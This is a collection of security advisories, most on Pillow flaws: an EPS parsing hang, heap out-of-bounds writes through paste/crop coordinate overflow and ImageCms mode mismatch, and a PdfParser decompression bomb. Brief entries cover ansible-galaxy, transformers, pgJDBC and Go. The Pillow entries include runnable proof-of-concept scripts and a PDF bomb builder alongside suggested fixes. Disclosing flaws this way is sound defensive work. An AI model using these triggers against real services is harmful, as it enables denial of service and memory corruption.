LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94
Impact
This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().
This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.
Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEKCUR).
Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as RGBA, this becomes a controlled backward heap underwrite: for a source image of width W, Pillow writes 4 W attacker-controlled bytes starting 4 W bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row.
Minimal public API trigger:
python from PIL import Image
INTMIN = -(1 << 31)
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new("RGBA", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INTMIN, 1))
The same root cause is also reachable through Image.crop() and Image.alphacomposite(). No private API, ctypes, custom Python object, or malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with double free or corruption (out)
Details
src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native ImagingCore.paste() method:
python self.im.paste(source, box)
src/imaging.c:paste() parses the four Python coordinates into signed int values and calls ImagingPaste():
c int x0, y0, x1, y1; PyArgParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...); status = ImagingPaste(self->image, PyImagingAsImaging(source), ..., x0, y0, x1, y1);
src/libImaging/Paste.c:ImagingPaste() computes and clips the region using signed int arithmetic:
c xsize = dx1 - dx0; ysize = dy1 - dy0;
if (dx0 + xsize > imOut->xsize) { xsize = imOut->xsize - dx0; }
With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2. That matches the 2-pixel source image, so the size check passes. The later dx0 + xsize clip check wraps around and does not reject the out-of-bounds destination.
For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by pixelsize:
c dx = pixelsize; xsize = pixelsize; memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.
The primitive scales with the attacker-controlled source width:
text source width = W box = ((1 << 31) - W, 0, INTMIN, 1)
C destination offset = -4 W C memcpy size = 4 W write range = [rowstart - 4W, rowstart)
Examples for RGBA:
text W = 2 -> writes 8 bytes before the row W = 1024 -> writes 4096 bytes before the row W = 65536 -> writes 256 KiB before the row W = 1000000 -> writes about 4 MiB before the row
Pillow's image creation guard currently limits xsize to roughly INTMAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is 2,147,483,640 bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state.
Two other documented APIs reach the same sink:
python Image.crop() path left = INTMIN + 2 Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
Image.alphacomposite() path, via its internal crop() base = Image.new("RGBA", (2, 1)) over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) base.alphacomposite(over, dest=(left, 0))
Image.crop() keeps right - left small, so the Python decompression-bomb check allows it. src/libImaging/Crop.c then computes wrapped paste coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it as b021poc.py and run it with paste, crop, or alpha.
python #!/usr/bin/env python3 import argparse import sys
from PIL import Image
INTMIN = -(1 << 31)
def rgbapattern(width): out = bytearray() for i in range(width): out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44)) return bytes(out)
def main(): parser = argparse.ArgumentParser() parser.addargument( "variant", choices=("paste", "crop", "alpha"), nargs="?", default="paste", ) parser.addargument("-w", "--width", type=int, default=2) args = parser.parseargs()
width = args.width src = Image.frombytes("RGBA", (width, 1), rgbapattern(width))
if args.variant == "paste": box = ((1 << 31) - width, 0, INTMIN, 1) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=paste box={box}") print(f"expected C dst offset={-4 width}, writesize={4 width}") sys.stdout.flush() dst.paste(src, box) print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop": left = INTMIN + width box = (left, 0, left + width, 1) print(f"variant=crop box={box}") sys.stdout.flush() out = src.crop(box) print("crop returned; output:", out.tobytes().hex())
else: dest = (INTMIN + width, 0) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=alpha dest={dest}") sys.stdout.flush() dst.alphacomposite(src, dest=dest) print("alphacomposite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if name == "main": main()
Run against an ASAN build:
bash env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py paste
env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py crop
env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py alpha
Observed ASAN signature for the direct Image.paste() path:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 paste /out/src/src/imaging.c:1461 0x... is located 8 bytes before 32-byte region
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal Image.paste() trigger returns from paste() and then the process aborts during cleanup with:
text double free or corruption (out) Aborted (core dumped)
Observed ASAN signature for the Image.crop() and Image.alphacomposite() paths:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 ImagingCrop /out/src/src/libImaging/Crop.c:57 crop /out/src/src/imaging.c:1090 Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons:
c int64t xsize64 = (int64t)dx1 - dx0; int64t ysize64 = (int64t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INTMAX || ysize64 > INTMAX) { return ImagingErrorValueError("bad box"); }
ImagingCrop() should receive the same treatment for sx1 - sx0, dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs.
Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct Image.paste() variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For RGBA, the write is a backward heap underwrite whose offset and length are both 4 sourcewidth, bounded in practice by successful image allocation and heap layout.
Summary
Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
Details
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:
python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.outputmode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["iccprofile"] = self.outputprofile.tobytes() return imOut
If imOut is provided, Pillow does not check:
text im.mode == self.inputmode imOut.mode == self.outputmode
The C wrapper in src/imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:
c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; }
for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); }
pyCMScopyAux(hTransform, imOut, im); return 0; }
findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPERGBA8, which writes 4 bytes per pixel:
c case IMAGINGMODERGB: case IMAGINGMODERGBA: case IMAGINGMODERGBX: return TYPERGBA8;
So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 width bytes for that row.
For width 4096:
text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row
The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
python from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0)
print("before", flush=True) transform.apply(im, out) print("after")
Observed locally on Pillow 12.3.0.dev0:
text before after free(): invalid next size (normal) Aborted (core dumped)
Controlled overwrite evidence PoC:
python from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
Run under gdb:
bash gdb -q --batch -ex run -ex bt --args \ python3 b022controlled.py
Observed on Pillow 12.3.0.dev0:
text Program received signal SIGSEGV, Segmentation fault. pthreadmutexlock (mutex=mutex@entry=0x4443424144434241) #1 cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cmsprofiletobytes (...) at src/imagingcms.c:152
0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.
Suggested fix
Validate modes before calling into the native transform:
python def apply(self, im, imOut=None): if im.mode != self.inputmode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.outputmode, im.size, None) elif imOut.mode != self.outputmode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["iccprofile"] = self.outputprofile.tobytes() return imOut
The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().
Summary PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
python PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expectedlength = self.dictionary[b"DL"] except KeyError: expectedlength = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expectedlength)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an initial buffer hint, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless.
From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
PdfParser is instantiated with a filename or file object and calls readpdfinfo() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path: python with PdfParser.PdfParser("evil.pdf") as pdf: streamobj, = pdf.getvalue(pdf.buf, streamoffset) data = streamobj.decode() # ← OOM here
PoC
python import zlib, tempfile, os, time from PIL import PdfParser
Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPANDMB = 100 raw = b'\x00' (EXPANDMB 1000000) compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf: obj, = pdf.getvalue(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
Actual output (Pillow 12.1.1, Python 3.12): PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
python MAXDECOMPRESSBYTES = 200 1024 1024 # 200 MB cap
def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expectedlength)) if len(result) > MAXDECOMPRESSBYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result
A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.
A vulnerability in huggingface/transformers versions <=5.8.0.dev0 allows an attacker to perform arbitrary file writes via path traversal. The issue resides in the savepretrained() methods of PreTrainedTokenizerBase and ProcessorMixin, where keys from the chattemplate dictionary are used directly as filenames without proper validation. An attacker can exploit this by publishing a malicious Hugging Face Hub repository with a crafted tokenizerconfig.json file. When a victim downloads and saves the tokenizer or processor, the attacker-controlled keys can escape the intended save directory, enabling arbitrary file writes with attacker-controlled content. This vulnerability affects multiple processors inheriting from ProcessorMixin, including Idefics, Florence, Gemma, Phi, and Qwen-VL.
Impact
channelBinding=require connections can be silently downgraded from SCRAM-SHA-256-PLUS (with channel binding) to plain SCRAM-SHA-256 (without it), losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection triggers the downgrade with a certificate whose signature algorithm has no tls-server-end-point channel-binding hash. Examples are Ed25519, Ed448, and post-quantum algorithms.
Two issues combine in releases 42.7.4 through 42.7.11:
1. The bundled com.ongres.scram:scram-client (3.1 or 3.2) returns an empty byte array instead of failing when it cannot derive the binding hash for such a certificate. This is the library issue tracked as GHSA-p9jg-fcr6-3mhf. 2. pgJDBC does not enforce channelBinding=require where it matters. ScramAuthenticator checks only that the server advertised a -PLUS mechanism; it neither rejects the empty binding nor checks that the negotiated mechanism uses channel binding. The connection therefore downgrades silently, and would do so even against a fixed scram-client, because the missing enforcement is in pgJDBC's own code.
Only connections that set channelBinding=require are affected. Under the default prefer policy, and under allow or disable, falling back to plain SCRAM is the documented behaviour. Releases before 42.7.4 are unaffected, because they do not support channel binding.
Patches
Fixed in pgJDBC 42.7.12. pgJDBC now enforces channel binding in its own code, independently of the scram-client version:
- Under channelBinding=require, it fails the connection when no channel-binding data can be extracted from the server certificate, instead of passing an empty value to the SCRAM client. The error names the certificate signature algorithm. - After negotiation, it requires the selected mechanism to use channel binding (a -PLUS mechanism) whenever channelBinding=require is set, regardless of how negotiation resolved.
Upgrade to 42.7.12 or later.
Workarounds
No pgJDBC setting restores channel-binding enforcement on an affected release; upgrading is the fix.
If you cannot upgrade immediately, verify the server certificate at the TLS layer so that a man-in-the-middle cannot present a substitute certificate. Set sslmode=verify-full with a truststore that contains only your server's CA. This defence is independent of channel binding and blocks the same attacker. Connections that rely on channelBinding=require in place of certificate verification have no equivalent workaround and should upgrade.
References
- GHSA-p9jg-fcr6-3mhf — the related com.ongres.scram:scram-client issue (root cause of the empty channel-binding value). - scram-client 3.3 release (library fix): https://github.com/ongres/scram/releases/tag/3.3 - pgJDBC fix in 42.7.12: commit
Last updated 7 October 2026
Arbitrary inputs are included in errors without any escaping in net/textproto
Escaper bypass leads to XSS in html/template